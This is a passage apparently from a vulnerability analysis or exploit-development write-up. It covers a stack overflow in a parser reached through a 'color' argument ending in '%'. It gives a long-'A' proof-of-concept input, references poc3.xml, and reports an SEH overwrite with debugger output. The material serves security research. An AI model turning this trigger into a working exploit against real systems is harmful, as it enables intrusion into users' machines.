Down p manage_transform_sub_67EED810+B6 call dangerous_copy_sub_67EED1E0 (*) this is the one we have reviewed


We noticed that sub_67EED2E0+193 can also trigger the crash, with even longer data without
triggering the warning.  In this particular case, the parser is handling arguments ending with
a "%", which can be reached as a 'color' argument, for example:

{ color: AAAAAAAAAAAAAA% }


Where "AAAAAAAAAAAAAA" will be copied on the stack. Also see poc3.xml for example.

As a result, we get to overwrite the stack with more data (like I said), and we end up overwriting
the SEH:

(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
